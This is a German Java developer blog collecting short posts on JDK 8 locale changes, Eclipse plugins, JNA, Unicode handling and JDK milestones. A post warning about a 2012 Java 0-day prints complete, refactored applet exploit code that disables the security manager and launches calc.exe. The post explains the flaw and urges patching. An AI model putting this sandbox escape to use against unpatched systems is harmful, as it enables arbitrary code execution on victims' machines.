Fetter Java 8b55 change set durch viele Locale/Kalender-Änderungen

Alle Änderungen im Überblick http://download.java.net/jdk8/changes/jdk8-b55.html.

Change-Set: 131a683a2ce0

6336885
RFE: Locale Data Deployment Enhancements

4609153
Provide locale data for Indic locales

5104387
Support for gl_ES locale (galician language)

6337471
desktop/system locale preferences support

7056139
(cal) SPI support for locale-dependent Calendar parameters

7058206
Provide CalendarData SPI for week params and display field value names

7073852
Support multiple scripts for digits and decimal symbols per locale

7079560
[Fmt-Da] Context dependent month names support in SimpleDateFormat

7171324
getAvailableLocales() of locale sensitive services should return the actual availability of locales

7151414
(cal) Support calendar type identification

7168528
LocaleServiceProvider needs to be aware of Locale extensions

7171372
(cal) locale’s default Calendar should be created if unknown calendar is specified

Eclipse-Plugin: Shell-Script-Editor (ShellEd) und Remote System Explorer (RSE)

ShellEd (Bild) ist ein Shell-Script-Editor für Unix-Skripte (also ash, bsh, bash, csh, ksh, sh, zsh). Mit Manual und Vervollständigung. Interessant dazu ist das relativ unbekannte Target Management Project, wo man remote, etwa über SSH oder FTP auf einem Server arbeiten und zum Beispiel Dokumente editieren kann.

Mehr Eclipse-Plugins gibt’s unter http://www.tutego.de/java/eclipse/plugin/eclipse-plugins.html.

Was ist aus Apache Click geworden?

Anfang 2009 schrieb ich im Blog:

Darauf hat die Welt gewartet: Wieder ein neues/altes Web-Framework

Apache Click http://incubator.apache.org/click/ heißt es und läuft ab Java 1.4. Super. Kommt damit 5 Jahre zu spät. Also nix mit Annotationen. Schön XML und so. (Click 0.3 gab es auch schon im März 2005, also ist das Projekt nicht wirklich jung.) Das Wort Ajax taucht auf den ganzen Webseiten nicht auf. Immerhin gibt es eine http://incubator.apache.org/click/docs/click-ide.html auf Eclipse 3.4 Basis. Toll die Antwort auf die Frage "Why develop a new Web Application Framework?" Antwort: "Because the existing frameworks did not meet my needs. Struts doesn’t really do much, while Tapestry is too complicated. For a more comprehensive answer please see Why Click." Klar, als ob es nur Struts und Tapestry gibt. Vor 10 Jahren vielleicht. Bei Struts 1.x ist die Zeit schon lange abgelaufen und bei Tapestry 5 hält man sich noch ein wenig mit DI/IoC über Wasser.

Heute, im Jahr 2012, hat es Click zu einem vollständigen Web-Framework geschafft, die Demos (http://click.avoka.com/click-examples/home.htm) sehen von der Funktionalität OK aus, nur etwas altbacken, etwa so wie Windows 3.1 im Vergleich zu Windows 7.

Das letzte Update von Click ist von März 2011, also 1 1/2 Jahr alt. Das war’s dann wohl.

Java-Sicherheitslücke nach 4 Monaten geschlossen

Nach dem nun herauskam, dass Oracle von der schweren Lücke schon  seit April (!) wusste, hast sich das Unternehmen nun doch genötigt, ein Update zu veröffentlichen. Jeder ist angehalten, das 7u7 sofort (bzw. 6u35) sofort zu installieren.

Achtung: Java 0-day Exploit, es ist ERNST

Auf meiner Google+ Seite hatte ich das schon kurz angesprochen: Es gibt eine Sicherheitslücke, die bisher auch schon ausgenutzt wird. Das ist ein ernstes Problem und jeder ist angehalten, Applets im Browser abzuknipsen. Da die meisten von uns vermutlich eh keine Applets benötigen, ist es sinnvoll, das ganz komplett für immer abzuschalten bzw. nur Ausnahmen zu erteilen (Chrome, siehe https://support.google.com/chrome/bin/answer.py?hl=de&answer=142064). Mehr News unter

Auf Basis des Exploits ttp://pastie.org/4594319 habe ich das Programm etwas umformuliert (refactored) und kompakter gestaltet, sodass es leichter ist, die Herangehensweise zu verstehen und nachzuvollziehen:

package cve2012xxxx;

import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.*;
import java.security.*;
import java.security.cert.Certificate;

public class Gondvv extends Applet
{
  private static final long serialVersionUID = 1L;

  private void disableSecurity() throws Exception
  {
    Permissions localPermissions = new Permissions();
    localPermissions.add( new AllPermission() );
    CodeSource codeSource = new CodeSource( new URL( "file:///" ), new Certificate[]{} );
    ProtectionDomain[] protectionDomains = { new ProtectionDomain( codeSource, localPermissions ) };
    AccessControlContext localAccessControlContext = new AccessControlContext( protectionDomains );
    Expression expr1 = new Expression( Class.class, "forName", new Object[]{ "sun.awt.SunToolkit" } );
    expr1.execute();
    Expression expr2 = new Expression( expr1.getValue(), "getField", new Object[]{ Statement.class, "acc" } );
    expr2.execute();
    Statement localStatement = new Statement( System.class, "setSecurityManager", new Object[1] );
    ((Field) expr2.getValue()).set( localStatement, localAccessControlContext );
    localStatement.execute();
  }

  @Override
  public void init()
  {
    try {
      disableSecurity();
      Runtime.getRuntime().exec( "calc.exe" ).waitFor();
    }
    catch ( Throwable t ) {
      t.printStackTrace();
    }
  }

  @Override
  public void paint( Graphics g )
  {
    g.drawString( "Loading", 50, 25 );
  }
}

PFGrid SWT Komponenten

PFGrid SWT (http://www.pfgrid.com/Index_Eclipse.aspx) ist ein TreeList- und Grid-SWT-Widget mit einem dynamischen Renderer-Ansatz, so dass das Control wahlweise in Windows-XP, Vista- oder Office2007-style dargestellt werden kann.

PFGrid.SWT EclipsePFNavigationBar.SWT EclipsePFPanel.SWT EclipsePFButton.SWT EclipsePFReflectionImage.SWT EclipsePFProgressBar.SWT: ProgressBar and state-control for JAVA SWTPFCheckBox.SWT: Custom Checkbox-widget for SWT JAVAPFHyperlink.SWT: Hyperlinks for JAVAPFRoundedToolbar.SWT: Toolbar-widget for JAVA

Eigene Renderer sind einfach zu implementieren. Beliebige SWT- aber auch Swing-controls können als Cell-Editoren verwendet werden. Das Grid verfügt über Features wie Excel-cell-copy oder Outlook-like grouping für Spalten, was für SWT-Grids einzigartig ist. JFace-Viewer für Table- und Tree-Darstellungen runden das widget ab. PFGrid kann als Eclipse-Plugin aber auch als standalone-jar in jeder Java-Applikation verwendet werden. Neben dem PFGrid-Widget wird auch ein Outlook-like NavigationBar-Widget mitgeliefert. Es handelt sich um eine kommerzielle Bibliothek.

Snippet: NETSTAT in Java with command line call

import java.io.IOException;
import java.util.*;
import java.util.regex.Pattern;

public class Netstat
{
  public static class Protocoll
  {
    public String protocoll;
    public String localAddress;
    public String remoteAddress;
    public String status;

    public Protocoll( String protocoll, String localAddress, String remoteAddress, String status )
    {
      this.protocoll = protocoll;
      this.localAddress = localAddress;
      this.remoteAddress = remoteAddress;
      this.status = status;
    }

    @Override
    public String toString()
    {
      return String.format( "%-6s %-22s %-22s %s", protocoll, localAddress, remoteAddress, status );
    }
  }

  public static void main( String[] args ) throws IOException
  {
    for ( Protocoll p : netStat() )
      System.out.println( p );
  }

  public static Iterable<Protocoll> netStat() throws IOException
  {
    Collection<Protocoll> result = new ArrayList<>();
    ProcessBuilder builder = new ProcessBuilder( "netstat", "-n" );
    Process p = builder.start();
    try ( Scanner scanner = new Scanner( p.getInputStream() ) ) {
      Pattern pattern = Pattern.compile( "(TCP|UDP)\\s+(\\S+)\\s+(\\S+)\\s+(\\S+)" );
      while ( scanner.findWithinHorizon( pattern, 0 ) != null )
        result.add( new Protocoll( scanner.match().group( 1 ), scanner.match().group( 2 ), scanner.match().group( 3 ), scanner.match().group( 4 ) ) );
    }
    return result;
  }
}

This leads to something like

TCP    127.0.0.1:16709        127.0.0.1:49159        HERGESTELLT

TCP    127.0.0.1:19872        127.0.0.1:49176        HERGESTELLT

TCP    127.0.0.1:49159        127.0.0.1:16709        HERGESTELLT

TCP    127.0.0.1:49176        127.0.0.1:19872        HERGESTELLT

TCP    127.0.0.1:49189        127.0.0.1:49190        HERGESTELLT

TCP    127.0.0.1:49190        127.0.0.1:49189        HERGESTELLT

BridJ

BridJ verfolgt den gleichen Ansatz wie JNA, kann also auch aus Java heraus nativen Code von C(++) und auch Objective-C ansprechen. Nur steht es als quelloffene Bibliothek nicht unter der LGPL, sondern unter der BSD/Apache-Lizenz. Zudem ist es aktueller, nutzt Generics (was es abhängig von Java 5 macht, JNA benötigt nur 1.4) und diverse Tricks, um noch performantere native Aufrufe zu realisieren. Auch kann es besser mit den Eigenschaften von C++ umgehen, wie virtuellen Methodenaufrufen, Vererbung und Templates „verstehen“. Regelmäßige Updates gibt es für die Systeme Windows (x86, x64), Linux (x86, x64, arm32), Mac OS X (x86, x64, PPC), Solaris 10 (x86, bald x64 und SPARC), Android 3.0 (ARMv5) und experimentell auf jailbroken iOS iPhones (ARM). Ob das ältere JNA oder BridJ besser ist, muss im Einzelfall evaluiert werden. JNAerator unterstützt ebenfalls BidJ zur Generierung der typisierten Schnittstellen und Übergabeobjekten.

JNA (Java Native Access)

Eine Bibliothek zum Ansprechen dynamischer Bibliotheken ohne JNA-Kontakt und damit ohne C(++)-Compiler ist JNA (Java Native Access). Beheimatet ist das Projekt unter https://github.com/twall/jna/  und es steht unter der Lizenzform LGPL. JNA benötigt nur das Archiv jna.jar im Klassenpfad und geht dann fast von selbst zur dynamischen Bibliotheken. Verschiedene Plattformen werden unterstützt, dazu zählen Windows, Linux und Mac OS X.

Zur dem Zugriff müssen allerdings Java-Schnittstellen als typisierte Versionen der nativen Funktionen deklariert werden, damit auch die Datentypen von der Java-Seite automatisch auf Datentypen der nativen Seite gemappt werden können. Die Dokumentation unter https://github.com/twall/jna/blob/master/www/GettingStarted.md  eigt ein Beispiel (hier etwas gekürzt):

import com.sun.jna.*;

public class HelloWorld {
  public interface CLibrary extends Library {
    CLibrary INSTANCE = (CLibrary) Native.loadLibrary( Platform.isWindows() ? "msvcrt" : "c",
                                                       CLibrary.class );
    void printf( String format, Object... args );
  }

  public static void main( String[] args ) {
    CLibrary.INSTANCE.printf( "Hello, World\n" );
    for ( int i = 0; i < args.length; i++ )
      CLibrary.INSTANCE.printf( "Argument %d: %s\n", i, args[ i ] );
  }
}

Die Übertragung der Funktionen von der C-Seite in Java-Schnittstellen – wie CLibrary in dem Beispiel – kann auch mit JNAerator (http://code.google.com/p/jnaerator/) automatisiert werden.

Snippet: List all MessageDigest provider

Pattern digestPattern = Pattern.compile( "^(Alg\\.Alias\\.)?MessageDigest\\.(?<alg>(\\w|-)+)" );
for ( Provider p : Security.getProviders() ) {
  for ( Object o : Collections.list( p.keys() ) ) {
    for ( Matcher m = digestPattern.matcher( o.toString() ); m.find(); )
      System.out.println( m.group("alg") );
  }
}

The result is:

SHA-1 SHA MD5 SHA-384 SHA-512 SHA1 SHA MD5 SHA-256 MD2

Also look at http://download.java.net/jdk8/docs/technotes/guides/security/StandardNames.html.

Unicode-Skripte

Neben den Unicode-Blöcken gibt es noch ein anderen Konzept, was vielleicht noch wichtiger als die Blöcke selbst sind: Unicode-Skripte. Darunter ist eine Gruppe von Zeichen für eine Sprache (in der Regel) zu verstehen.[1] Um den Unterschied zu Blöcken noch einmal zusammenzufassen:

· Ein Unicode-Block ist ein einfacher von-bis-Bereich, und Stellen können für die spätere Belegung leer sein.

· Ein Unicode-Skript enthält keine freien Positionen.

· Zeichen eines Unicode-Skripts können aus verschiedenen Unicode-Blöcken stammen.

· Zeichen aus einem Block können in verschiedenen Unicode-Skripten auftauchen.

Auch für Skripte bietet Java in der Klasse Character ein öffentliches statische innere Attribut, wobei das erst seit Java 7 existiert und Oracle hier ein moderneres enum gewählt hat. Character.UnicodeScript besteht aus einer Reihe von Konstanten, wobei die Namen nach ISO 15924[2] gewählt sind. Auch gibt es eine of(int) Methode um das Skript für ein Zeichen zu erfragen und ein UnicodeScript-Objekt kann über forName(String) mit einem Namen aufgebaut werden.

Auch wenn die Character und String-Klasse arm an weiteren Methoden zu den Unicode-Blöcken und Unicode-Skripten ist, gibt es doch Unterstützung von ganz anderer Stellen: Von den regulären Ausdrücken. Sie können testen, ob Zeichen in gewissen Skripten oder Blöcken sind und damit Zeichen in Teilstrings aufspüren, sie löschen und entfernen. (Wir springen nun thematisch etwas vor.) Die Syntax in den regulären Ausdrücken ist \p{script=Skriptname} bzw. \p{block=Blockname} (auch der Präfix Is oder In ist erlaubt ohne Nutzung vom script=/block=-Konstrukt). Achtung, Nicht alle Unicode-Skripts werden unterstützt!

Beispiel

Teste drei Zeichen, ob sie arabisch sind:

System.out.println( "ح".matches( "\\p{script=Arabic}" ) ); // true

System.out.println( "ح".matches( "\\p{IsArabic}" ) ); // true

System.out.println( "ש".matches( "\\p{IsArabic}" ) ); // false

System.out.println( "1".matches( "\\p{IsArabic}" ) ); // false


[1] Siehe auch http://www.unicode.org/reports/tr24/.

[2] http://unicode.org/iso15924/iso15924-codes.html

Unicode-Blöcke

Unicode-Zeichen gehören immer Blöcken an und bei denen ist teilweise immer etwa Platz, um nachrückende Zeichen noch aufnehmen zu können. Beim lateinischen Alphabet ist das nicht so wichtig, wohl aber bei mathematischen Sonderzeichen oder anderen Symbolen.

Die Klasse Character deklariert eine öffentliche statische finale Klasse UnicodeBlock mit einer Vielzahl von Unicode-Blöcken, die als öffentliche statische Variablen in UnicodeBlock deklariert sind und selbst vom Typ UnicodeBlock sind. Character.UnicodeBlock.BASIC_LATIN ergibt zum Beispiel so einen Block, allerdings ist der Typ nicht so ausdrucksstark, nur der Name kommt bei einem toString() dabei raus, aber nicht etwa in welchem Bereich die Zeichen liegen. Auch fehlt die Möglichkeit alle Zeichen aufzuzählen oder zu testen, ob ein Zeichen im Block liegt. Was jedoch der Typ UnicodeBlock bietet sind zwei statische Methoden of(int) und of(char), die als Fabrikfunktionen einen UnicodeBlock für ein gewisses Zeichen geben. Der ist-ein-Element-von-Test lässt sich also damit indirekt realisieren.

Beispiel. Gib die Namen der Unicode-Blöcke für einige Zeichen aus:

UnicodeBlock basicLatin = Character.UnicodeBlock.BASIC_LATIN;

System.out.println( basicLatin );

System.out.println( Character.UnicodeBlock.of( ‚ß‘ ) );

System.out.println( Character.UnicodeBlock.of( ‚\u263A‘ ) );

System.out.println( Character.UnicodeBlock.of( ‚\u20ac‘ ) );

System.out.println( Character.UnicodeBlock.of( 0x1D15E ) );

Das liefert BASIC_LATIN LATIN_1_SUPPLEMENT MISCELLANEOUS_SYMBOLS

CURRENCY_SYMBOLS MUSICAL_SYMBOLS.

Das Wissen um den Bereich ist immer hilfreich dann, wenn ein unbekannter Text zugeordnet werden soll, denn auf diese Weise lässt sich erahnen, ob der Text zum Beispiel auf lateinischen Buchstaben basiert, er arabisch, chinesisch oder japanisch (Kanji/Kana) ist.

JDK 8 Milestones

Nach http://openjdk.java.net/projects/jdk8/milestones sind das nun:

M1    2012/04/26    (b36)
117 Remove the Annotation-Processing Tool (apt)
M2    2012/06/14    (b43)
133 Unicode 6.1

M3    2012/08/02    (b50)
124 Enhance the Certificate Revocation-Checking API
130 SHA-224 Message Digests
131 PKCS#11 Crypto Provider for 64-bit Windows

Hier stehen wir, das soll kommen:

M4    2012/09/13   
105 DocTree API
121 Stronger Algorithms for Password-Based Encryption
129 NSA Suite B Cryptographic Algorithms

M5    2012/11/29   
106 Add Javadoc to javax.tools
110 New HTTP Client
111 Additional Unicode Constructs for Regular Expressions
112 Charset Implementation Improvements
113 MS-SFU Kerberos 5 Extensions
114 TLS Server Name Indication (SNI) Extension
119 javax.lang.model Implementation Backed by Core Reflection
122 Remove the Permanent Generation
128 BCP 47 Locale Matching
140 Limited doPrivileged
153 Launch JavaFX Applications

M6    2013/01/31        Feature Complete
101 Generalized Target-Type Inference
104 Annotations on Java Types
107 Bulk Data Operations for Collections
108 Collections Enhancements from Third-Party Libraries
109 Enhance Core Libraries with Lambda
115 AEAD CipherSuites
118 Access to Parameter Names at Runtime
120 Repeating Annotations
123 Configurable Secure Random-Number Generation
126 Lambda Expressions and Virtual Extension Methods
135 Base64 Encoding and Decoding
156 G1 GC: Reduce need for full GCs
160 Lambda-Form Representation for Method Handles

M7    2013/02/21        Developer Preview
2013/03/18        All Tests Run
2013/04/04        Rampdown start
2013/05/02        API/Interface Freeze
2013/05/16        Zero Bug Bounce
2013/06/13        Rampdown phase 2
M8    2013/07/05        Final Release Candidate
GA    2013/09/09        General Availability

Von Date-Time API nichts zu sehen!

Thema der Woche: @CheckForNull, @Nonnull

Null-Pointer-Exceptions sind eine Qual, da oftmals eine Referenzvariable null ist, die nicht null sein darf. Das kommt oft erst zur Laufzeit bei ganz besonderen Ausführungspfaden raus.  Mit Annotationen kann man dem ein wenig entgegentreten, da man zum Einen gut dokumentiert was erlaubt ist und was nicht, und zum Anderen Analysetools erlaubt, sich die Ausführungspfade etwas genauer anzuschauen.